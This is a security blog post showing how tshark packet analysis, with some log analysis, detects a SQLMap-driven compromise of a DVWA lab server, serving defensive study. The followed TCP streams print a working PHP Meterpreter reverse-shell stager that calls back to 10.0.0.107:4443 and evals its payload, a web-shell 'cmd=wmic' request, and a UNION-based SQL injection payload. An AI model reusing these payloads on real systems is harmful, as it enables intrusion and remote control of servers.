Tuesday, July 7, 2020

Continuing SQL Injection with SQLMap - Detection via Packet Analysis

Now that we have concluded the log analysis and detected that our system has been compromised via the SQLMap exploitation lab, let's now see how the packets can help with detecting this activity. In the interest of time, let's use the "pktIntel" tool from GitHub to see if this IP is known as malicious.

Let's first clone the tool

kali@securtynik:/tmp$ git clone https://github.com/SecurityNik/pktIntel.git
Cloning into 'pktIntel'...
remote: Enumerating objects: 98, done.
remote: Counting objects: 100% (98/98), done.
remote: Compressing objects: 100% (94/94), done.
remote: Total 98 (delta 48), reused 10 (delta 1), pack-reused 0
Receiving objects: 100% (98/98), 7.49 MiB | 5.05 MiB/s, done.
Resolving deltas: 100% (48/48), done.

Now that we have cloned the repo, let's copy the pcap to our "/tmp" directory

kali@securtynik:/tmp$ cp ~/potentialCompromise/Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng .

kali@securtynik:/tmp$ ls wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng 
wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng
 
Execute the "pktIntel.py" script with a focus on IP addresses:

kali@securtynik:/tmp/pktIntel$ ./pktIntel.py --ip

--------------------------||--------------------------||
 pktIntel.py
 Tool used to perform threat intelligence against packet data
 Author: Nik Alleyne
 Author Blog: www.securitynik.com
--------------------------||--------------------------||
[*] Checking your permission ...
    I don't need root permissions to read PCAPS 
    However, if you have PCAPs created by root or other users
    You should instead run me with root permission via sudo
[*] Running as kali with UID 1000  

.........
[*] Removing duplicates from the downloaded IPs ...
[*] There are currently  [4553] unique suspicious IPs  downloaded!
[*] Reading PCAP files ...
     Looking for TCP packets where ONLY the SYN flag is set.
     Also looking at UDP and ICMP packets
     By looking at the SYN flag, we are assuming the the 3-way handshake has started

[*] Note I may take a while so work with me on this ...
[*] Comparing downloaded IPs with those in your PCAPs ...

----- 1 SUSPICIOUS IPs DETECTED --------- 
['10.0.0.107']   
[*] Writing IP information to: 
   [./ip_threat_intel_2020-04-25T10:[./ip_threat_intel_2020-06-29T14:28:59.txt|./IPv6_session_2020-06-29T14:28:59.txt|./IPv6_session_2020-06-29T14:28:59.txt]
[*] Reading PCAP File to extract session information: /tmp/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng

[*] Closing the file ./ip_threat_intel_2020-06-29T14:28:59.txt
[*] Closing the file ./IPv4_session_2020-06-29T14:28:59.txt
[*] Closing the file ./IPv6_session_2020-06-29T14:28:59.txt
[*] Completed IP Threat Intelligence Lookup!
[*] Happy Hunting! ...

Looking at the "ip_threat_intel_2020-06-29T14:28:59.txt"

kali@securtynik:/tmp/pktIntel$ cat ./ip_threat_intel_2020-06-29T14:28:59.txt
IP Address              PCAP File 
10.0.0.107       /tmp/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng

Looking at the "./IPv4_session_2020-06-29T14:28:59.txt"

kali@securtynik:/tmp/pktIntel$ cat ./IPv4_session_2020-06-29T14:28:59.txt | wc --lines
35105

Looks like there are over 35,000 lines in this file. Looking at a quick snapshot of the file:

kali@securtynik:/tmp/pktIntel$ cat ./IPv4_session_2020-06-29T14:28:59.txt
frame.number             frame.time              ip.src   tcp.srcport    ip.dst   tcp.dstport   frame.len  ip.len 
1284    Jun 24, 2020 15:28:13.977331000 EDT     10.0.0.107              10.0.0.255              60      44
1285    Jun 24, 2020 15:28:13.977712000 EDT     10.0.0.107              10.0.0.255              60      44
1288    Jun 24, 2020 15:28:13.990469000 EDT     10.0.0.107              10.0.0.255              60      44
1289    Jun 24, 2020 15:28:13.990929000 EDT     10.0.0.107              10.0.0.255              60      44
1490    Jun 24, 2020 15:32:57.736220000 EDT     10.0.0.107      42056   10.0.0.108      80      74      60
1491    Jun 24, 2020 15:32:57.736701000 EDT     10.0.0.108      80      10.0.0.107      42056   66      52
1492    Jun 24, 2020 15:32:57.738115000 EDT     10.0.0.107      42056   10.0.0.108      80      60      40
1493    Jun 24, 2020 15:32:57.740078000 EDT     10.0.0.107      42056   10.0.0.108      80      369     355
1494    Jun 24, 2020 15:32:57.783929000 EDT     10.0.0.108      80      10.0.0.107      42056   54      40
..........

This looks good but we need the information relating to port 4443 which we learned in the log analysis. 

kali@securtynik:/tmp/pktIntel$ cat ./IPv4_session_2020-06-29T14:28:59.txt | grep --perl-regexp "\s+4443\s+" | more

37171   Jun 24, 2020 17:03:23.571105000 EDT     10.0.0.108      6375    10.0.0.107      4443    66      52
37172   Jun 24, 2020 17:03:23.573522000 EDT     10.0.0.107      4443    10.0.0.108      6375    66      52
37173   Jun 24, 2020 17:03:23.581008000 EDT     10.0.0.108      6375    10.0.0.107      4443    54      40
37174   Jun 24, 2020 17:03:23.613422000 EDT     10.0.0.107      4443    10.0.0.108      6375    60      44
37175   Jun 24, 2020 17:03:23.622029000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37176   Jun 24, 2020 17:03:23.622033000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37177   Jun 24, 2020 17:03:23.623175000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37178   Jun 24, 2020 17:03:23.623792000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37179   Jun 24, 2020 17:03:23.627904000 EDT     10.0.0.108      6375    10.0.0.107      4443    54      40
37180   Jun 24, 2020 17:03:23.628116000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37181   Jun 24, 2020 17:03:23.628118000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
37182   Jun 24, 2020 17:03:23.629433000 EDT     10.0.0.107      4443    10.0.0.108      6375    1514    1500
.....

Let find the stream relating to this session.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -Y "(ip.addr == 10.0.0.107) && (tcp.port==4443) && (ip.addr==10.0.0.108)" -T fields -e tcp.stream | sort | uniq --count | sort --numeric --reverse
   2320 2499
    138 2504
      6 2502
      6 2501

Looks like there are multiple sessions which might have used port "4443". Let's start off with following the stream with number "2499" and which has 2320 packets.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,2499 | less
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2499
Node 0: 10.0.0.108:6375
Node 1: 10.0.0.107:4443
        4
....
        1460
/*<?php /**/

if (!isset($GLOBALS['channels'])) {
    $GLOBALS['channels'] = array();
}

if (!isset($GLOBALS['channel_process_map'])) {
    $GLOBALS['channel_process_map'] = array();
}


if (!isset($GLOBALS['resource_type_map'])) {
    $GLOBALS['resource_type_map'] = array();
}

....
my_print("Evaling main meterpreter stage");
...........

We get to see PHP code but then we see the traffic is encrypted and at this point, we are unable to see any more clear text.

D&/@D&/@D&/@D&/@D&/@D&/@D&-cD&/@D&/fD'/A'I]%.HJ'+RF!0Cp4(Pp%*E]94RF/*&/@D./AD$.wu..p|..xp..uu..wr..wp..r|..qq./@D'.@E$.mi..m.ch.
....jf.dmj.i..mi,b.^Mdf*.hm'/WG+-a.7tdn..`n..en.|gb.^Mdl'.en..g[9..y0.A`%.Jw0pU....%72qZ.(on7+\F..RBpkO.#)n}o.N...R|+.iiv&M~o2c{8 cC^M.nm#.|.).../..}Jo~L.rWX..BW-(.^p
D.$...6.U...mL.s..7.|X97RJ.uua/
kk#tqw.*N..0kE.NkU&&.k.<.^&.j.(.T..ktxp#U.^M..L9..l7rB}%.D..u..'6U.#}\v.#Qh/4qv2.,vr|lX*!.j.w.....^u'AN!v.c
>.h$..].+Jd./sn9.nur.V_v!ex.sW./.^Mx2.V%..g.&"VC..Rb00AF-smi..i.u*Q.&.VE/'Sv7"bgotgI6*\}!.A..<L.tsP[...cJoQf..wn.N..mi.j......jf.dmj.i..mi,/
423
=M............yEA.a.=M..=M.m=M..=M..=L..^"..b#..R9..I(..Q;..S...M9..SM..=d..=O...u...{...{...u...{...}...u...|..=M..?O..=M..=L..9O..H.C..^-?M.6...{:.{u
................... .....Lrj..{..z. .3...sr.N.5..39@..'bB.....R../..e....`..E..ND8.0F..k.2R.AC2...5.:.....>.........b........^M*.D".b$|{.,(...&..;S5....!......2..X.......N.8`...Z.\lYN....8...orhw.i .S!......L.....5H1Td...O."..E...@......=M..?M..=M..=M..9Lr......UL'..dy.7.
        128
G..Kt.k...Kv....;..|G..JG..#G..K.&.+.[o....P[.o+..gU.......CFY..4+6F_.E1`..4....u..o.}.k.8....#A..F......O..a.P2.iO..l......g.^M/
.........................

Lets' see what we can learn from the stream with number "2504"

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,2504 | less

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2504
Node 0: 10.0.0.108:6444
Node 1: 10.0.0.107:4443
        4
....
        1460
/*<?php /**/
if (!isset($GLOBALS['channels'])) {
    $GLOBALS['channels'] = array();
}

At first glance, we can conclude the attacker connected multiple times with the PHP Meterpreter. Actually, we already know that there was multiple connection to this host. We know this because when we looked at the "IPv4_session_2020-06-29T14:28:59.txt", we saw multiple connection on port 4443. No need for us to continue along this path as we already have some insights what this communication looks like.

Looking at the stream numbers for for any sessions created between these hosts and we see:

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -Y "(ip.addr == 10.0.0.107) && (ip.addr==10.0.0.108)" -T fields -e tcp.stream | sort | uniq --count | sort --numeric --reverse | more
   2320 2499
    138 2504
     79 1960
     57 27
     41 26
     40 25
     35 1346
     34 1499
     31 1652
     23 29
     22 884
     22 731
     22 578
     22 426
     22 2419

..................

Staying on track, when the log analysis was performed, we found the "server.php" file first returned "404 Not Found" and then it was "200 OK". Let's now run a filter for "server.php"

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -t ad -Y "http contains server.php"
37051 2020-06-24 17:01:17.910411   10.0.0.107 → 10.0.0.108   HTTP 420 GET /server.php HTTP/1.1 
37082 2020-06-24 17:01:39.806126   10.0.0.107 → 10.0.0.108   HTTP 820 POST /tmpuevkq.php HTTP/1.1  (application/x-php)
37170 2020-06-24 17:03:23.536168   10.0.0.107 → 10.0.0.108   HTTP 420 GET /server.php HTTP/1.1 
37207 2020-06-24 17:03:23.753345   10.0.0.107 → 10.0.0.108   HTTP 420 [TCP Spurious Retransmission] GET /server.php HTTP/1.1 
37425 2020-06-24 17:07:11.052736   10.0.0.107 → 10.0.0.108   HTTP 420 GET /server.php HTTP/1.1 
40372 2020-06-24 17:25:18.121161   10.0.0.107 → 10.0.0.108   HTTP 420 GET /server.php HTTP/1.1 

Above we can confirm the time matches with our log analysis for "GET /server.php". We already know in frame "3705"1 this request failed so I won't go deeper into it at this time. However, as we look at frame "37082", we can conclude since this is a "POST" this is more than likely where the file was uploaded as we know after that and from the log analysis, the frame with number "37425" corresponds with the time the request was successful based on the data from our log analysis.. Let's confirm this.

Let's first find the stream number of:

kali@securtynik:/tmp$ tshark -n -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -t ad -Y "frame.number == 37082" -T fields -e tcp.stream
2497

Now that we know the stream number, let's follow it to see inside the payload:

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,2497

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2497
Node 0: 10.0.0.107:47006
Node 1: 10.0.0.108:80
1460
POST /tmpuevkq.php HTTP/1.1
Host: 10.0.0.108
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.108/tmpuevkq.php
Content-Type: multipart/form-data; boundary=---------------------------16439358805639454101277827
Content-Length: 1695
Connection: keep-alive
Cookie: PHPSESSID=mtacgh4674o18jbbc80mp31vki
Upgrade-Insecure-Requests: 1

-----------------------------16439358805639454101277827
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000000
-----------------------------16439358805639454101277827
Content-Disposition: form-data; name="file"; filename="server.php"
Content-Type: application/x-php

<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$le
766
n) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

-----------------------------16439358805639454101277827
Content-Disposition: form-data; name="uploadDir"

\xampp\htdocs\
-----------------------------16439358805639454101277827
Content-Disposition: form-data; name="upload"

upload
-----------------------------16439358805639454101277827--

        277
HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 21:01:39 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
Content-Length: 24
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

admin.adminFile uploaded
===================================================================

Now that we know the file was uploaded, let's look at the packet with frame number "37425" to see what occurred. Once again, let's find the stream number.

kali@securtynik:/tmp$ tshark -n -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -t ad -Y "frame.number == 37425" -T fields -e tcp.stream
2500

Looking at the payload.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,2500

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2500
Node 0: 10.0.0.107:47010
Node 1: 10.0.0.108:80
366
GET /server.php HTTP/1.1
Host: 10.0.0.108
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=mtacgh4674o18jbbc80mp31vki
Upgrade-Insecure-Requests: 1


        261
HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 21:07:11 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
Content-Length: 9
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

no socket
===================================================================

Looks like with this "200 OK" no socket was created. Maybe this was because the attacker did not properly set up his system to receive the connection for port "4443" which we learned about above. Let's confirm that the host was not listening on that part and thus sends back a Reset/Ack message.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -Y "tcp.srcport == 4443 && tcp.flags.reset == 1"
37427 7129.654749   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6387 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37430 7130.243023   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6387 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37432 7130.951952   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6387 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37434 7130.968125   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6388 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37436 7131.559826   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6388 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37438 7132.162256   10.0.0.107 → 10.0.0.108   TCP 60 4443 → 6388 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

We are beginning to tie everything together even activities relating to the threat actor's mistakes. Matters not that those mistakes were made, the reality is our environeent was still compromised by a web vulnerability.

Let's dig a bit more. We learned from the log analysis that the WMIC command was run. Let's confirm the data which was returned.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -Y "http contains wmic"
34590 2766.899183   10.0.0.107 → 10.0.0.108   HTTP 321 GET /tmpbfkst.php?cmd=wmic%20useraccount HTTP/1.1 

Finding the stream number and following the stream.

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -Y "frame.number == 34590" -T fields -e tcp.stream
2476


kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,2476

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2476
Node 0: 10.0.0.107:46964
Node 1: 10.0.0.108:80
267
GET /tmpbfkst.php?cmd=wmic%20useraccount HTTP/1.1
Cache-Control: no-cache
Cookie: security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0
User-Agent: Opera/9.23 (Windows NT 5.1; U; da)
Host: 10.0.0.108
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close


        1460
HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 19:54:28 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
Content-Length: 2548
Connection: close
Content-Type: text/html; charset=UTF-8

<pre>AccountType  Caption                             Description                                                                                      Disabled  Domain           FullName  InstallDate  LocalAccount  Lockout  Name                PasswordChangeable  PasswordExpires  PasswordRequired  SID                                           SIDType  Status    
512          SECURITYNIK-WIN\Administrator       Built-in account for administering the computer/domain                                           FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Administrator       TRUE                FALSE            TRUE              S-1-5-21-3846991316-327138358-508696823-500   1        OK        
512          SECURITYNIK-WIN\DefaultAccount      A user account managed by the system.                                                            TRUE      SECURITYNIK-WIN                         TRUE          FALSE    DefaultAccount      TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-503   1        Degraded  
512          SECURITYNIK-WIN\Guest               Built-in account for guest access to the computer/domain                                         TRUE 
        1306
     SECURITYNIK-WIN                         TRUE          FALSE    Guest               FALSE               FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-501   1        Degraded  
512          SECURITYNIK-WIN\SecurityNik                                                                                                          FALSE     SECURITYNIK-WIN                         TRUE          FALSE    SecurityNik         TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-1002  1        OK        
512          SECURITYNIK-WIN\Toronto                                                                                                              FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Toronto             TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-1005  1        OK        
512          SECURITYNIK-WIN\WDAGUtilityAccount  A user account managed and used by the system for Windows Defender Application Guard scenarios.  TRUE      SECURITYNIK-WIN                         TRUE          FALSE    WDAGUtilityAccount  TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-504   1        Degraded  

</pre>
===================================================================

Similarly, we can look into the clear-text packets to see the queries which were run. Let's pick on the stream number with "1346"

kali@securtynik:/tmp$ tshark -r wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -q -z follow,tcp,ascii,1346

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1346
Node 0: 10.0.0.107:44704
Node 1: 10.0.0.108:80
435
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
Content-Length: 271
Cache-Control: no-cache
Cookie: security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
Host: 10.0.0.108
Accept: */*
Accept-Encoding: gzip,deflate
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close


271
id=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x716a7a7a71%2CIFNULL%28CAST%28grantee%20AS%20NCHAR%29%2C0x20%29%2C0x6a7461727468%2CIFNULL%28CAST%28privilege_type%20AS%20NCHAR%29%2C0x20%29%2C0x7170767071%29%2CNULL%20FROM%20INFORMATION_SCHEMA.USER_PRIVILEGES%23&Submit=Submit%23

       1460
HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 19:44:52 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
........

Above we see the query which can be found in the parameter "id". We can use a URL Decoder as we did in the log analysis post and convert this to a more human readable string such as:

id=1' UNION ALL SELECT NULL,CONCAT(0x7176786b71,IFNULL(CAST(grantee AS NCHAR),0x20),0x756d76677a67,IFNULL(CAST(privilege_type AS NCHAR),0x20),0x716a6b6b71) FROM INFORMATION_SCHEMA.USER_PRIVILEGES#&Submit=Submit#

Anove we see attempts to read information on the user privileges.

If we look deeper into this same session after following the stream, we see a snapshot below of what was returned, we can see below the user 'root'@'localhost' seems to be in use. Additionally, we see privileges such as "UPDATE", "DELETE", "CREATE".

 1460
7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#<br />First name: qjzzq'root'@'localhost'jtarthSELECTqpvpq<br />Sur
name: </pre><pre>ID: 1' UNION ALL SELECT CONCAT(0x716a7a7a71,IFNULL(CAST(grantee AS NCHAR),0x20),0x6a7461727468,IFNULL(CAST(
privilege_type AS NCHAR),0x20),0x7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#<br />First name: qjzzq'root'@'localhost'jtarthINSERTqpvpq<br />Surname: </pre><pre>ID: 1' UNION ALL SELECT CONCAT(0x716a7a7a71,IFNULL(CAST(grantee AS NCHAR),0x20),0x6a7461727468,IFNULL(CAST(privilege_type AS NCHAR),0x20),0x7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#<br />First name: qjzzq'root'@'localhost'jtarthUPDATEqpvpq<br />Surname: </pre><pre>ID: 1' UNION ALL SELECT CONCAT(0x716a7a7a71,IFNULL(CAST(grantee AS NCHAR),0x20),0x6a7461727468,IFNULL(CAST(privilege_type AS NCHAR),0x20),0x7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#<br />First name: jzzq'root'@'localhost'jtarthDELETEqpvpq<br />Surname: </pre><pre>ID: 1' UNION ALL SELECT CONCAT(0x716a7a7a71,IFNULL(CAST(grantee AS NCHAR),0x20),0x6a7461727468,IFNULL(CAST(privilege_type AS NCHAR),
0x20),0x7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#<br />First name: qjzzq'root'@'localhost'jtarthCREATEqpvpq<br />Surname: </pre><pre>ID: 1' UNION ALL SELECT CONCAT(0x716a7a7a71,IFNULL(CAST(grantee AS NCHAR),0x20),0x6a7461727468,IFNULL(CAST(privilege_type AS NCHAR),0x20),0x7170767071),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGE

Ok at this point, you should have a good understanding of some of the things you can do to detect SQL injection via SQLMap in your environment.

Looking for additional guidance on packet or log analysis? Come hangout with us at one of the upcoming SEC503 Intrusion Detection in Depth class or the soon to be released SEC582 - Mastering TShark Packet Analysis. Additionally, you can grab a copy of Hack and Detect or Mastering TShark Network Forensics.

P.S. Not sure if you noticed it but I would have had to add the private IP address "10.0.0.107" to the script for it to show up. However, the concepts remain the same.


References:

Continuing SQL Injection with SQLMap - Detection via logs

In the previous post, we learned how to use SQLMap to perform SQL injection attacks. While it was cool that we were able to perform the attack, an important takeaway for us as defenders is being able to detect this activity. 

Let's paint a scenario. 

As the security lead, you got a mail from your web server administrator, stating that she believes the web server has been compromised. Why does she think so? She thinks so because the server is "acting weird". Because of the concern, she took a copy of the logs, the full packet capture and a memory dump to send them to you for analysis. In this post, we look at the logs. In the next post we look at the packets with TShark.

Specifically she gives you a '.zip' file with the data as. You first confirm the file type using the file command:
kali@securtynik:~$ file potentialCompromise.zip 
potentialCompromise.zip: Zip archive data, at least v2.0 to extract

Looking into the file for the contents you see among those Apache logs, pcaps and a memory dump.

kali@securtynik:~$ unzip -v potentialCompromise.zip
Archive:  potentialCompromise.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  496733  Defl:N    13740  97% 2020-06-24 15:06 aab2aec8  Suspect-Compromise/access.log
   14655  Defl:N     1908  87% 2020-06-24 15:07 a76dafdd  Suspect-Compromise/error.log
       6  Stored        6   0% 2020-06-24 15:07 fc43e46d  Suspect-Compromise/httpd.pid
    3146  Defl:N      463  85% 2017-11-03 06:31 077f3d81  Suspect-Compromise/install.log
2147020800  Defl:N 751465144  65% 2020-06-24 17:30 ae34204c  Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp
    1512  Defl:N      659  56% 2020-06-24 17:30 a0ade79d  Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json
       0  Stored        0   0% 2018-02-05 02:39 00000000  Suspect-Compromise/ssl_request.log
17331848  Defl:N  3975773  77% 2020-06-24 17:34 31c2913b  Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng
--------          -------  ---                            -------
2164868700         755457693  65%                            8 files

You then extract the files into a folder named "potentialCompromise"

kali@securtynik:~$ unzip -d ./potentialCompromise potentialCompromise.zip
Archive:  potentialCompromise.zip
  inflating: ./potentialCompromise/Suspect-Compromise/access.log  
  inflating: ./potentialCompromise/Suspect-Compromise/error.log  
 extracting: ./potentialCompromise/Suspect-Compromise/httpd.pid  
  inflating: ./potentialCompromise/Suspect-Compromise/install.log  
  inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp  
  inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json  
 extracting: ./potentialCompromise/Suspect-Compromise/ssl_request.log  
  inflating: ./potentialCompromise/Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng 

Out of curiosity, you decided to first look at the "httpd.pid" file. This is just to understand the process ID the web server software was using at that point in time. 

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat httpd.pid 
5392

Looking at the error.log, we see below there are 63 lines. 
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | wc --lines
63

Continuing with the "error.log", let's see what clients might have been found in this file. Leveraging some command line kung fu, we see there are 50 IPs being reported in the "error.log" file.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | wc --lines
50

While we know we have 50 IPs, how many of these IPs are unique? Let's find this out by modifying the command above to now extract the IP addresses.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | cut --fields 2 --delimiter " " | awk --field-separator ":" '{ print $1 }' | sort | uniq --count | sort --numeric --reverse
     50 10.0.0.107
      2 127.0.0.1
      1 10.0.0.108

Interesting, it seems the host at IP address "10.0.0.107" was responsible for most of the interactions with this server. We know from above also that "127.0.0.1" represents the "localhost". Our administrator told us that the suspected compromise device had an IP address of "10.0.0.108". We can now focus our attention to the errors as which are associated with IP address "10.0.0.107".

As we look through the logs, we see a number messages reporting:

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error"
[Wed Jun 24 15:52:33.453519 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46864] script 'C:/xampp/htdocs/xampp/tmpucfol.php' not found or unable to stat
[Wed Jun 24 15:52:33.547367 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46866] script 'C:/xampp/htdocs/tmpucfol.php' not found or unable to stat
.....
[Wed Jun 24 15:52:35.422342 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46942] script 'C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php' not found or unable to stat
[Wed Jun 24 15:52:35.516019 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46948] script 'C:/xampp/htdocs/tmpugbqx.php' not found or unable to stat
.....

The messages above looks interesting. Let's see if we can figure out the files names which are involved. 
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error" | grep --perl-regexp "C:\/.*?\'" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse
      1 C:/xampp/htdocs/xampp/tmpucpje.php'
